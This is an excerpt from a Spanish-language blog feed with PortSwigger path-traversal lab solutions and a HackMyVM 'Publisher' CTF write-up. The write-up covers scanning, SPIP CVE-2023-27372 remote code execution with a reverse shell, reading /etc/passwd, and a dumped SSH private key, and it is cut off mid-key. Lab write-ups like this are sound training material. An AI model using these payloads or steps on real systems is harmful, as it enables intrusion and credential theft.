<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723843274985/bfcf6878-052a-4d26-a4aa-ecc8f55cf1e6.png" alt class="image--center mx-auto" /></p>
<p>Y con eso logramos realizar el <strong>Path Traversal</strong>, si volvemos a la <strong>web</strong> nos dan como superado el <strong>laboratorio</strong>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723843382343/4ee4def3-fb55-413c-8f67-80dc9868a7dc.png" alt class="image--center mx-auto" /></p>
<hr />
<h1 id="heading-conclusiones">Conclusiones</h1>
<p>Con esto damos por finalizado el <strong>5 laboratorio</strong> de <strong>Path Traversal</strong> de <strong>Portswigger</strong>, donde hay una <strong>restricción</strong> de la ubicación en la ruta del <strong>archivo</strong>. Cualquier duda o consulta pueden contactarme o usar las zonas de comentarios.</p>
]]></content:encoded></item><item><title><![CDATA[Lab*4-Path Traversal]]></title><description><![CDATA[Laboratorio 4
Este es el laboratorio 4 de Portswigger, vamos a continuar los laboratorios sobre Path-Traversal.

Resolucion

Vemos la típica página web ya habitual en los laboratorios de Portswigger sobre la venta de ciertos artículos.
Vemos en la de...]]></description><link>https://varovish.hashnode.dev/lab4-path-traversal</link><guid isPermaLink="true">https://varovish.hashnode.dev/lab4-path-traversal</guid><category><![CDATA[Burpsuite  ]]></category><category><![CDATA[portswigger]]></category><category><![CDATA[pathtraversal]]></category><dc:creator><![CDATA[Dh89]]></dc:creator><pubDate>Wed, 14 Aug 2024 23:29:36 GMT</pubDate><content:encoded><![CDATA[<hr />
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723676115942/035400d3-c1bf-4c98-8e78-a9588357290e.png" alt class="image--center mx-auto" /></p>
<hr />
<h1 id="heading-laboratorio-4">Laboratorio 4</h1>
<p>Este es el <strong>laboratorio 4</strong> de <strong>Portswigger</strong>, vamos a continuar los <strong>laboratorios</strong> sobre <strong>Path-Traversal.</strong></p>
<hr />
<h1 id="heading-resolucion">Resolucion</h1>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723676432431/a53fad5a-055a-4dea-928e-a6a386cd8bbc.png" alt class="image--center mx-auto" /></p>
<p>Vemos la típica <strong>página web</strong> ya habitual en los <strong>laboratorios</strong> de <strong>Portswigger</strong> sobre la venta de ciertos <strong>artículos</strong>.</p>
<p>Vemos en la descripción del <strong>laboratorio</strong> que en la representación de las imágenes es donde se acontece el <strong>Path-Traversal</strong>. Entonces vamos a abrir alguna y vamos a interceptar con <strong>Burpsuite</strong> para realizar algunas <strong>pruebas</strong>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723676625868/13752a07-38ad-4f3b-94f3-50a1fe7b3d3f.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723676700117/d8b6c351-a919-498b-a9b8-1aa35169217c.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723676756348/bdcbba05-f5f8-472d-9045-b8bccfb08afa.png" alt class="image--center mx-auto" /></p>
<p>Como se puede observar, nos muestra un <strong>error</strong> de <strong>archivo</strong> "<strong>No such file</strong>". Si leemos la descripción del laboratorio, nos mencionan que la aplicación nos <strong>url-encodea</strong> nuestro <strong>input</strong> antes de aplicarlo.</p>
<p>Esto quiere decir que nuestro <strong>input</strong> se convierte en "<strong>../../../../../etc/passwd</strong>" -&gt; "<strong>%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64</strong>" como vemos la página a la hora de interpretarnos esto quizás encuentre algún <strong>problema.</strong></p>
<p>Normalmente, podemos intentar <strong>url-encodear</strong> nuestro <strong>input</strong> dos veces. Esto suele permitirnos <strong>bypassear</strong> o <strong>burlar</strong> ciertas <strong>validaciones</strong> que se pueden estar aconteciendo.</p>
<p>Para esto vamos a utilizar el <strong>Decoder</strong> del propio <strong>Burpsuite</strong>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723677644129/9fd57d68-f35c-4010-8ef8-609d79e7391a.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723677671130/c94c0ba8-9987-433d-9ad0-f86a87f648b8.png" alt class="image--center mx-auto" /></p>
<p>Y ahí podemos observar como responder el "<strong>/etc/passwd</strong>" y si volvemos a la <strong>página web</strong> nos dan como finalizado el <strong>laboratorio</strong>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723677747332/6db79b69-5378-416d-9f51-e3b97e714baf.png" alt class="image--center mx-auto" /></p>
<h1 id="heading-conclusiones">Conclusiones</h1>
<p>Con esto damos por finalizado el 4 laboratorio de <strong>Path-Traversal</strong> de <strong>Burpsuite</strong>, logramos ver otra forma de poder <strong>burlar</strong> ciertas validaciones que se pueden acontecer. Ya saben, cualquier consulta o <strong>duda</strong> pueden contactarme o escribir en la zona de <strong>comentarios</strong>.</p>
]]></content:encoded></item><item><title><![CDATA[Publisher-Writeup]]></title><description><![CDATA[Skills
- Wfuzzing
- RCE CVE-2023-27372
- AppArmor (Escape de restriccion)


Reconocimiento
Para comenzar vamos a crear nuestros directorios con los que vamos a ir trabajando.
$ mkdir Publisher
$ cd Publisher
$ mkdir content nmap exploit

Vamos a come...]]></description><link>https://varovish.hashnode.dev/publisher-writeup</link><guid isPermaLink="true">https://varovish.hashnode.dev/publisher-writeup</guid><category><![CDATA[CTF Writeup]]></category><category><![CDATA[HackMyVM]]></category><category><![CDATA[hacking]]></category><dc:creator><![CDATA[Dh89]]></dc:creator><pubDate>Tue, 13 Aug 2024 21:29:48 GMT</pubDate><content:encoded><![CDATA[<hr />
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723377856033/55a7cc0e-b731-476d-8a52-28cf6643f8ff.png" alt class="image--center mx-auto" /></p>
<hr />
<h1 id="heading-skills">Skills</h1>
<pre><code class="lang-plaintext">- Wfuzzing
- RCE CVE-2023-27372
- AppArmor (Escape de restriccion)
</code></pre>
<hr />
<h1 id="heading-reconocimiento">Reconocimiento</h1>
<p>Para comenzar vamos a crear nuestros <strong>directorios</strong> con los que vamos a ir <strong>trabajando</strong>.</p>
<pre><code class="lang-bash">$ mkdir Publisher
$ <span class="hljs-built_in">cd</span> Publisher
$ mkdir content nmap exploit
</code></pre>
<p>Vamos a comenzar realizando un <strong>escaneo</strong> de los <strong>puertos</strong> de la <strong>máquina víctima</strong> para conocer los servicios que están siendo <strong>expuestos</strong>.</p>
<pre><code class="lang-ruby">$ sudo nmap --open -p- -sS --min-rate <span class="hljs-number">5000</span> -vvv -n -Pn <span class="hljs-number">192.168</span>.<span class="hljs-number">0</span>.<span class="hljs-number">20</span> -oG allPorts
</code></pre>
<pre><code class="lang-ruby"><span class="hljs-comment"># Nmap 7.94SVN scan initiated Sun Aug 11 08:11:30 2024 as: nmap --open -p- -sS --min-rate 5000 -vvv -n -Pn -oG allPorts</span>
 <span class="hljs-number">192.168</span>.<span class="hljs-number">0</span>.<span class="hljs-number">20</span>
<span class="hljs-comment"># Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)</span>
<span class="hljs-symbol">Host:</span> <span class="hljs-number">192.168</span>.<span class="hljs-number">0</span>.<span class="hljs-number">20</span> ()   <span class="hljs-symbol">Status:</span> Up
<span class="hljs-symbol">Host:</span> <span class="hljs-number">192.168</span>.<span class="hljs-number">0</span>.<span class="hljs-number">20</span> ()   <span class="hljs-symbol">Ports:</span> <span class="hljs-number">22</span>/open/tcp/<span class="hljs-regexp">/ssh/</span><span class="hljs-regexp">//</span>, <span class="hljs-number">80</span>/open/tcp/<span class="hljs-regexp">/http/</span><span class="hljs-regexp">//</span>    Ignored <span class="hljs-symbol">State:</span> closed (<span class="hljs-number">65533</span>)
<span class="hljs-comment"># Nmap done at Sun Aug 11 08:11:36 2024 -- 1 IP address (1 host up) scanned in 5.84 seconds</span>
</code></pre>
<p>Yo lo exporto en formato <strong>grepeable</strong> porque tengo una función llamada <a target="_blank" href="https://pastebin.com/tYpwpauW">extractPorts</a> -&gt; (link de la utilidad de extractPorts creada por s4vitar, instalar xclip)</p>
<pre><code class="lang-bash">$ extractPorts allPorts
</code></pre>
<pre><code class="lang-ruby">[*] Extracting information...

    [*] IP <span class="hljs-symbol">Address:</span> <span class="hljs-number">192.168</span>.<span class="hljs-number">0</span>.<span class="hljs-number">20</span>
    [*] Open <span class="hljs-symbol">ports:</span> <span class="hljs-number">22</span>,<span class="hljs-number">80</span>

[*] Ports copied to clipboard
</code></pre>
<p>Vamos a realizar un <strong>escaneo</strong> más extensivo, para saber que <strong>servicios</strong> y la <strong>versión</strong> que corren para esos <strong>puertos.</strong></p>
<pre><code class="lang-bash">$ nmap -sCV -p22,80 192.168.0.20 -oN targeted
</code></pre>
<pre><code class="lang-ruby"><span class="hljs-comment"># Nmap 7.94SVN scan initiated Sun Aug 11 08:19:12 2024 as: nmap -sCV -p22,80 -oN targeted 192.168.0.20</span>
Nmap scan report <span class="hljs-keyword">for</span> <span class="hljs-number">192.168</span>.<span class="hljs-number">0</span>.<span class="hljs-number">20</span>
Host is up (<span class="hljs-number">0</span>.<span class="hljs-number">0070</span>s latency).

PORT   STATE SERVICE VERSION
<span class="hljs-number">22</span>/tcp open  ssh     OpenSSH <span class="hljs-number">8.2</span>p1 Ubuntu <span class="hljs-number">4</span>ubuntu<span class="hljs-number">0</span>.<span class="hljs-number">10</span> (Ubuntu Linux; protocol <span class="hljs-number">2.0</span>)
<span class="hljs-params">| ssh-hostkey: 
|</span>   <span class="hljs-number">3072</span> <span class="hljs-number">44</span><span class="hljs-symbol">:</span><span class="hljs-number">5</span><span class="hljs-symbol">f:</span><span class="hljs-number">26</span><span class="hljs-symbol">:</span><span class="hljs-number">67</span><span class="hljs-symbol">:</span><span class="hljs-number">4</span><span class="hljs-symbol">b:</span><span class="hljs-number">4</span><span class="hljs-symbol">a:</span><span class="hljs-number">91</span><span class="hljs-symbol">:</span><span class="hljs-number">9</span><span class="hljs-symbol">b:</span><span class="hljs-number">59</span><span class="hljs-symbol">:</span><span class="hljs-number">7</span><span class="hljs-symbol">a:</span><span class="hljs-number">95</span><span class="hljs-symbol">:</span><span class="hljs-number">59</span><span class="hljs-symbol">:c8</span><span class="hljs-symbol">:</span><span class="hljs-number">4</span><span class="hljs-symbol">c:</span><span class="hljs-number">2</span><span class="hljs-symbol">e:</span><span class="hljs-number">04</span> (RSA)
<span class="hljs-params">|   256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
|</span><span class="hljs-number">_</span>  <span class="hljs-number">256</span> <span class="hljs-symbol">d3:</span><span class="hljs-number">3</span><span class="hljs-symbol">b:</span><span class="hljs-number">97</span><span class="hljs-symbol">:ea</span><span class="hljs-symbol">:</span><span class="hljs-number">54</span><span class="hljs-symbol">:bc</span><span class="hljs-symbol">:</span><span class="hljs-number">41</span><span class="hljs-symbol">:</span><span class="hljs-number">4</span><span class="hljs-symbol">d:</span><span class="hljs-number">03</span><span class="hljs-symbol">:</span><span class="hljs-number">39</span><span class="hljs-symbol">:f6</span><span class="hljs-symbol">:</span><span class="hljs-number">8</span><span class="hljs-symbol">f:</span><span class="hljs-symbol">ad:</span><span class="hljs-symbol">b6:</span><span class="hljs-symbol">a0:</span>fb (ED25519)
<span class="hljs-number">80</span>/tcp open  http    Apache httpd <span class="hljs-number">2.4</span>.<span class="hljs-number">41</span> ((Ubuntu))
<span class="hljs-params">|_http-server-header: Apache/2.4.41 (Ubuntu)
|</span>_http-<span class="hljs-symbol">title:</span> Publisher<span class="hljs-string">'s Pulse: SPIP Insights &amp; Tips
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Aug 11 08:19:19 2024 -- 1 IP address (1 host up) scanned in 7.04 seconds</span>
</code></pre>
<p>Podemos observar el puerto '<strong>22</strong>' -&gt; "<strong>ssh</strong>" y el puerto '<strong>80</strong>' que corresponde a un <strong>servicio web</strong>, vamos a lanzar un '<strong>whatweb'</strong> por <strong>consola</strong> al servicio web para intentar ver un poco más de <strong>información útil.</strong></p>
<pre><code class="lang-bash">$ whatweb 192.168.0.20
</code></pre>
<pre><code class="lang-ruby"><span class="hljs-symbol">http:</span>/<span class="hljs-regexp">/192.168.0.20 [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/</span><span class="hljs-number">2.4</span>.<span class="hljs-number">41</span> (Ubuntu)], IP[<span class="hljs-number">192.168</span>.<span class="hljs-number">0</span>.<span class="hljs-number">20</span>], Title[Publisher<span class="hljs-string">'s Pulse: SPIP Insights &amp; Tips]</span>
</code></pre>
<p>No nos reporta <strong>gran cosa</strong>, vamos a mirar como se ve el <strong>servicio web</strong>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723379125461/d4846d0b-373f-4c1a-b9cf-dae88acb6d13.png" alt class="image--center mx-auto" /></p>
<p>Vemos una página, donde parece que se comparten artículos, tutoriales, opiniones, etc. <strong>Sobre SPIP</strong>, investigando nos encontramos que <strong>SPIP</strong>: Es un <strong>software libre</strong> de origen <strong>francés</strong> tipo sistema de gestión de contenidos destinado a la producción de <strong>sitios web,</strong> orientado a revistas colaborativas en línea e inspirado en los roles de una redacción.</p>
<p>También observamos varias <strong>secciones</strong>, pero no nos llevan a ningún lugar, también observamos un usuario '<strong>admin</strong>' que publico algo un posible usuario para tenerlo en <strong>cuenta.</strong></p>
<p>Vamos a realizar <strong>fuzzing</strong> con <strong>wfuzz</strong> para ver si encontramos algún <strong>directorio</strong> que nos pueda resultar <strong>útil.</strong></p>
<pre><code class="lang-ruby">$ wfuzz -w /usr/share/ -c --hc=<span class="hljs-number">404</span> -t <span class="hljs-number">50</span> <span class="hljs-symbol">http:</span>/<span class="hljs-regexp">/192.168.0.20/</span>FUZZ
</code></pre>
<pre><code class="lang-ruby"><span class="hljs-symbol">Target:</span> <span class="hljs-symbol">http:</span>/<span class="hljs-regexp">/192.168.0.20/</span>FUZZ
Total <span class="hljs-symbol">requests:</span> <span class="hljs-number">220560</span>

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                        
=====================================================================
<span class="hljs-number">000000004</span>:   <span class="hljs-number">200</span>        <span class="hljs-number">150</span> L    <span class="hljs-number">766</span> W      <span class="hljs-number">8686</span> Ch     <span class="hljs-string">"#"</span>                                                            
<span class="hljs-number">000000014</span>:   <span class="hljs-number">200</span>        <span class="hljs-number">150</span> L    <span class="hljs-number">766</span> W      <span class="hljs-number">8686</span> Ch     <span class="hljs-string">"http://192.168.0.20/"</span>                                         
<span class="hljs-number">000000016</span>:   <span class="hljs-number">301</span>        <span class="hljs-number">9</span> L      <span class="hljs-number">28</span> W       <span class="hljs-number">313</span> Ch      <span class="hljs-string">"images"</span>                                                       
<span class="hljs-number">00000</span>8521:   <span class="hljs-number">301</span>        <span class="hljs-number">9</span> L      <span class="hljs-number">28</span> W       <span class="hljs-number">311</span> Ch      <span class="hljs-string">"spip"</span>                                                         
<span class="hljs-number">000045240</span>:   <span class="hljs-number">200</span>        <span class="hljs-number">150</span> L    <span class="hljs-number">766</span> W      <span class="hljs-number">8686</span> Ch     <span class="hljs-string">"http://192.168.0.20/"</span>                                         
<span class="hljs-number">0000</span>95524:   <span class="hljs-number">403</span>        <span class="hljs-number">9</span> L      <span class="hljs-number">28</span> W       <span class="hljs-number">277</span> Ch      <span class="hljs-string">"server-status"</span>                                                
<span class="hljs-number">000117772</span>:   <span class="hljs-number">404</span>        <span class="hljs-number">9</span> L      <span class="hljs-number">31</span> W       <span class="hljs-number">274</span> Ch      <span class="hljs-string">"Class-Entity"</span>
</code></pre>
<p>Vemos un '<strong>server-status</strong>' y un '<strong>spip</strong>', vamos a revisar <strong>ambos</strong> para qué nos devuelve la <strong>web</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723379927896/4136b3b6-4aeb-4767-a17a-dc5a2f2ae06f.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723379939645/50a9cce9-6149-4c2a-99ce-22f9fbaa8f4d.png" alt class="image--center mx-auto" /></p>
<p>Por parte del '<strong>server-status</strong>', parece que necesitamos <strong>credenciales</strong> porque nos sale un '<strong>forbiden</strong>' pero el '<strong>spip</strong>' ya nos muestra una algo <strong>diferente</strong>.</p>
<p><strong>Investigando,</strong> me encuentro que estamos en contra de la <strong>versión Spip 4.2.0</strong>, la cual parece tener un <strong>Remote Code Execution (RCE)</strong> en el <strong>panel login</strong> cuando le damos a <strong>recuperar contraseña</strong>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723381313905/c4bd6ff6-a766-42c3-bb10-a473a5507c7a.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723381360327/40a52eae-347f-4d7c-ba79-036c1d1141d2.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723381857738/366f13da-1e63-4efe-b3e7-214722a931c5.png" alt class="image--center mx-auto" /></p>
<p>Utilizamos cualquier correo, eso no es <strong>relevante</strong>. Vamos a <strong>interceptar</strong> esta <strong>petición</strong> con <strong>Burpsuite</strong> para hacer algunas <strong>pruebas</strong>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723381890366/a6bad5a8-da6b-4537-99cb-9d0182e9beb6.png" alt class="image--center mx-auto" /></p>
<p>Lo enviamos al <strong>repetear</strong> para ver las respuestas del lado del <strong>servidor</strong>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723383337381/284a9ad4-529e-4691-8274-84489c06362e.png" alt class="image--center mx-auto" /></p>
<p>El <strong>problema</strong> viene con ese campo '<strong>oubli</strong>', el cual no está muy bien <strong>sanitizado</strong>, podemos <strong>ejecutar</strong> comandos de forma <strong>remota</strong>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723387923129/b90945eb-2a52-4a34-a8ed-4b14c33984e2.png" alt class="image--center mx-auto" /></p>
<p>Como pueden observar el payload es una <strong>revershell</strong> en <strong>php</strong>, si quieren más información de porque se acontece este <strong>RCE</strong>. Les recomiendo buscar el <strong>CVE</strong> de esta <strong>vulnerabilidad CVE-2023-27372</strong>.</p>
<p>Por otro lado, antes de enviar la <strong>petición</strong>, nos ponemos en escucha con "<strong>nc"</strong> por el <strong>puerto 443</strong> y esperamos nuestra revershell.</p>
<pre><code class="lang-ruby">$ sudo nc -nlvp <span class="hljs-number">443</span>
listening on [any] <span class="hljs-number">443</span> ...
</code></pre>
<pre><code class="lang-ruby">connect to [<span class="hljs-number">192.168</span>.<span class="hljs-number">0</span>.<span class="hljs-number">11</span>] from (UNKNOWN) [<span class="hljs-number">192.168</span>.<span class="hljs-number">0</span>.<span class="hljs-number">20</span>] <span class="hljs-number">56842</span>
<span class="hljs-symbol">bash:</span> cannot set terminal process group (<span class="hljs-number">1</span>): Inappropriate ioctl <span class="hljs-keyword">for</span> device
<span class="hljs-symbol">bash:</span> no job control <span class="hljs-keyword">in</span> this shell
www-data@41c976e507f8<span class="hljs-symbol">:/home/think/spip/spip</span>$ whoami
www-data
www-data@41c976e507f8<span class="hljs-symbol">:/home/think/spip/spip</span>$
</code></pre>
<p>Y ganamos acceso a la máquina, ahora vamos a realizar un <strong>tratamiento</strong> de la <strong>tty</strong> para poder operar de forma más <strong>cómoda</strong>.</p>
<pre><code class="lang-ruby">$ script /dev/null -c bash
ctl + z
$ stty raw -echo; fg
reset xterm
$ www-data@41c976e507f8<span class="hljs-symbol">:/home/think/spip/spip</span>$ export TERM=xterm
$ www-data@41c976e507f8<span class="hljs-symbol">:/home/think/spip/spip</span>$ export SHELL=bash
</code></pre>
<p>Con esto ya podremos hacer <strong>ctrl + c</strong>, <strong>ctrl + l</strong>. Sin ningún inconveniente.</p>
<h1 id="heading-escalada-de-privilegios">Escalada de Privilegios</h1>
<p>Bien, en este punto estamos como <strong>www-data</strong> y vamos a tener que escalar para llegar a ser <strong>root</strong>.</p>
<p>Si regresamos algúnos directorios vemos la <strong>flag</strong>, en la carpeta <strong>think</strong></p>
<pre><code class="lang-ruby">$ www-data@41c976e507f8<span class="hljs-symbol">:/home/think/spip/spip</span>$ cd ../..
$ www-data@41c976e507f8<span class="hljs-symbol">:/home/think</span>$ ls
spip
user.txt
$ www-data@41c976e507f8<span class="hljs-symbol">:/home/think</span>$ cat user.txt
fa229046d44eda6a3598c73ad96f4ca5  
www-data@41c976e507f8<span class="hljs-symbol">:/home/think</span>$
</code></pre>
<p>Si realizamos un cat del <strong>/etc/passwd</strong> y filtramos por los que tienen una <strong>bash</strong> en el sistema, nos encontramos que <strong>think</strong> es un <strong>usuario</strong>.</p>
<pre><code class="lang-ruby">$ www-data@41c976e507f8<span class="hljs-symbol">:/home/think</span>$ cat /etc/passwd <span class="hljs-params">| grep "sh$" 
root:x:0:0:root:/root:/bin/bash
think:x:1000:1000::/home/think:/bin/sh
$ www-data@41c976e507f8:/home/think$</span>
</code></pre>
<p>Si observamos, nosotros podemos ver el directorio personal de <strong>think</strong>. Por tanto, podríamos intentar ver su <strong>id_rsa</strong> para poder conectarnos por <strong>ssh</strong> por el puerto <strong>22.</strong></p>
<pre><code class="lang-ruby">$ www-data@41c976e507f8<span class="hljs-symbol">:/home/think</span>$ ls -la
</code></pre>
<pre><code class="lang-ruby">total <span class="hljs-number">48</span>
drwxr-xr-x <span class="hljs-number">8</span> think    think    <span class="hljs-number">4096</span> Feb <span class="hljs-number">10</span>  <span class="hljs-number">2024</span> .
drwxr-xr-x <span class="hljs-number">1</span> root     root     <span class="hljs-number">4096</span> Dec  <span class="hljs-number">7</span>  <span class="hljs-number">2023</span> ..
lrwxrwxrwx <span class="hljs-number">1</span> root     root        <span class="hljs-number">9</span> Jun <span class="hljs-number">21</span>  <span class="hljs-number">2023</span> .bash_history -&gt; <span class="hljs-regexp">/dev/null</span>
-rw-r--r-- <span class="hljs-number">1</span> think    think     <span class="hljs-number">220</span> Nov <span class="hljs-number">14</span>  <span class="hljs-number">2023</span> .bash_logout
-rw-r--r-- <span class="hljs-number">1</span> think    think    <span class="hljs-number">3771</span> Nov <span class="hljs-number">14</span>  <span class="hljs-number">2023</span> .bashrc
drwx------ <span class="hljs-number">2</span> think    think    <span class="hljs-number">4096</span> Nov <span class="hljs-number">14</span>  <span class="hljs-number">2023</span> .cache
drwx------ <span class="hljs-number">3</span> think    think    <span class="hljs-number">4096</span> Dec  <span class="hljs-number">8</span>  <span class="hljs-number">2023</span> .config
drwx------ <span class="hljs-number">3</span> think    think    <span class="hljs-number">4096</span> Feb <span class="hljs-number">10</span>  <span class="hljs-number">2024</span> .gnupg
drwxrwxr-x <span class="hljs-number">3</span> think    think    <span class="hljs-number">4096</span> Jan <span class="hljs-number">10</span>  <span class="hljs-number">2024</span> .local
-rw-r--r-- <span class="hljs-number">1</span> think    think     <span class="hljs-number">807</span> Nov <span class="hljs-number">14</span>  <span class="hljs-number">2023</span> .profile
lrwxrwxrwx <span class="hljs-number">1</span> think    think       <span class="hljs-number">9</span> Feb <span class="hljs-number">10</span>  <span class="hljs-number">2024</span> .python_history -&gt; <span class="hljs-regexp">/dev/null</span>
drwxr-xr-x <span class="hljs-number">2</span> think    think    <span class="hljs-number">4096</span> Jan <span class="hljs-number">10</span>  <span class="hljs-number">2024</span> .ssh
lrwxrwxrwx <span class="hljs-number">1</span> think    think       <span class="hljs-number">9</span> Feb <span class="hljs-number">10</span>  <span class="hljs-number">2024</span> .viminfo -&gt; <span class="hljs-regexp">/dev/null</span>
drwxr-x--- <span class="hljs-number">5</span> www-data www-data <span class="hljs-number">4096</span> Dec <span class="hljs-number">20</span>  <span class="hljs-number">2023</span> spip
-rw-r--r-- <span class="hljs-number">1</span> root     root       <span class="hljs-number">35</span> Feb <span class="hljs-number">10</span>  <span class="hljs-number">2024</span> user.txt
</code></pre>
<p>Y efectivamente, parece que tenemos <strong>permisos</strong> para poder entrar al directorio ".<strong>ssh"</strong> donde se almacena las pares de <strong>claves</strong>.</p>
<pre><code class="lang-ruby">$ www-data@41c976e507f8<span class="hljs-symbol">:/home/think</span>$ cd .ssh
$ www-data@41c976e507f8<span class="hljs-symbol">:/home/think</span>$ ls
</code></pre>
<pre><code class="lang-ruby">authorized_keys
id_rsa
id_rsa.pub
</code></pre>
<pre><code class="lang-ruby">$ www-data@41c976e507f8<span class="hljs-symbol">:/home/think</span>$ cat id_rsa
</code></pre>
<pre><code class="lang-ruby">-----<span class="hljs-keyword">BEGIN</span> OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAxPvc9pijpUJA4olyvkW0ryYASBpdmBasOEls6ORw7FMgjPW86tDK
uIXyZneBIUarJiZh8VzFqmKRYcioDwlJzq+<span class="hljs-number">9</span>/<span class="hljs-number">2</span>ipQHTVzNjxxg18wWvF0WnK2lI5TQ7QXc
OY8+<span class="hljs-number">1</span>CUVX67y4UXrKASf8l7lPKIED24bXjkDBkVrCMHwScQbg/nIIFxyi262JoJTjh9Jgx
SBjaDOELBBxydv78YMN9dyafImAXYX96H5k+<span class="hljs-number">8</span>vC8/I3bkwiCnhuKKJ11TV4b8lMsbrgqbY
RYfbCJapB27zJ24a1aR5Un+Ec2XV2fawhmftS05b10M0QAnDEu7SGXG9mF/hLJyheRe8lv
+rk5EkZNgh14YpXG/E9yIbxB9Rf5k0ekxodZjVV06iqIHBomcQrKotV5nXBRPgVeH71JgV
QFkNQyqVM4wf6oODSqQsuIvnkB5l9e095sJDwz1pj/aTL3Z6Z28KgPKCjOELvkAPcncuMQ
Tu+z6QVUr0cCjgSRhw4Gy/bfJ4lLyX/bciL5QoydAAAFiD95i1o/eYtaAAAAB3NzaC1yc2
EAAAGBAMT73PaYo6VCQOKJcr5FtK8mAEgaXZgWrDhJbOjkcOxTIIz1vOrQyriF8mZ3gSFG
qyYmYfFcxapikWHIqA8JSc6vvf9oqUB01czY8cYNfMFrxdFpytpSOU0O0F3DmPPtQlFV+u
<span class="hljs-number">8</span>uFF6ygEn/Je5TyiBA9uG145AwZFawjB8EnEG4P5yCBccotutiaCU44fSYMUgY2gzhCwQc
cnb+<span class="hljs-regexp">/GDDfXcmnyJgF2F/eh</span>+ZPvLwvPyN25MIgp4biiiddU1eG/JTLG64Km2EWH2wiWqQdu
<span class="hljs-number">8</span>yduGtWkeVJ/hHNl1dn2sIZn7UtOW9dDNEAJwxLu0hlxvZhf4SycoXkXvJb/q5ORJGTYId
eGKVxvxPciG8QfUX+ZNHpMaHWY1VdOoqiBwaJnEKyqLVeZ1wUT4FXh+<span class="hljs-number">9</span>SYFUBZDUMqlTOM
H+qDg0qkLLiL55AeZfXtPebCQ8M9aY/<span class="hljs-number">2</span>ky92emdvCoDygozhC75AD3J3LjEE7vs+kFVK9H
Ao4EkYcOBsv23yeJS8l/<span class="hljs-number">23</span>Ii+UKMnQAAAAMBAAEAAAGBAIIasGkXjA6c4eo+SlEuDRcaDF
mTQHoxj3Jl3M8+Au+0P+<span class="hljs-number">2</span>aaTrWyO5zWhUfnWRzHpvGAi6+zbep/sgNFiNIST2AigdmA1QV
VxlDuPzM77d5DWExdNAaOsqQnEMx65ZBAOpj1aegUcfyMhWttknhgcEn52hREIqty7gOR5
<span class="hljs-number">49</span>F<span class="hljs-number">0</span>+<span class="hljs-number">4</span>+BrRLivK0nZJuuvK1EMPOo2aDHsxMGt4tomuBNeMhxPpqHW17ftxjSHNv+wJ4WkV
<span class="hljs-number">8</span>Q7+MfdnzSriRRXisKavE6MPzYHJtMEuDUJDUtIpXVx2rl/L3DBs1GGES1Qq5vWwNGOkLR
zz2F+<span class="hljs-number">3</span>dNNzK6d0e18ciUXF0qZxFzF+hqwxi6jCASFg6A0YjcozKl1WdkUtqqw+Mf15q+KW
xlkL1XnW4/jPt3tb4A9UsW/ayOLCGrlvMwlonGq+s+0nswZNAIDvKKIzzbqvBKZMfVZl4Q
UafNbJoLlXm+<span class="hljs-number">4</span>lshdBSRVHPe81IYS8C+<span class="hljs-number">1</span>foyX+f1HRkodpkGE<span class="hljs-number">0</span>/<span class="hljs-number">4</span>/StcGv4XiRBFG1qQAA
AMEAsFmX8iE4UuNEmz467uDcvLP53P9E2nwjYf65U4ArSijnPY0GRIu8ZQkyxKb4V5569l
DbOLhbfRF/KTRO7nWKqo4UUoYvlRg4MuCwiNsOTWbcNqkPWllD0dGO7IbDJ1uCJqNjV+OE
<span class="hljs-number">56</span>P0Z/HAQfZovFlzgC4xwwW8Mm698H/wss8Lt9wsZq4hMFxmZCdOuZOlYlMsGJgtekVDGL
IHjNxGd46wo37cKT9jb27OsONG7BIq7iTee5T59xupekynvIqbAAAAwQDnTuHO27B1PRiV
ThENf8Iz+Y8LFcKLjnDwBdFkyE9kqNRT71xyZK8t5O2Ec0vCRiLeZU/DTAFPiR+B6WPfUb
kFX8AXaUXpJmUlTLl6on7mCpNnjjsRKJDUtFm0H6MOGD/YgYE4ZvruoHCmQaeNMpc3YSrG
vKrFIed5LNAJ3kLWk8SbzZxsuERbybIKGJa8Z9lYWtpPiHCsl1wqrFiB9ikfMa2DoWTuBh
+Xk2NGp6e98Bjtf7qtBn/0rBfdZjveM1MAAADBANoC+jBOLbAHk2rKEvTY1Msbc8Nf2aXe
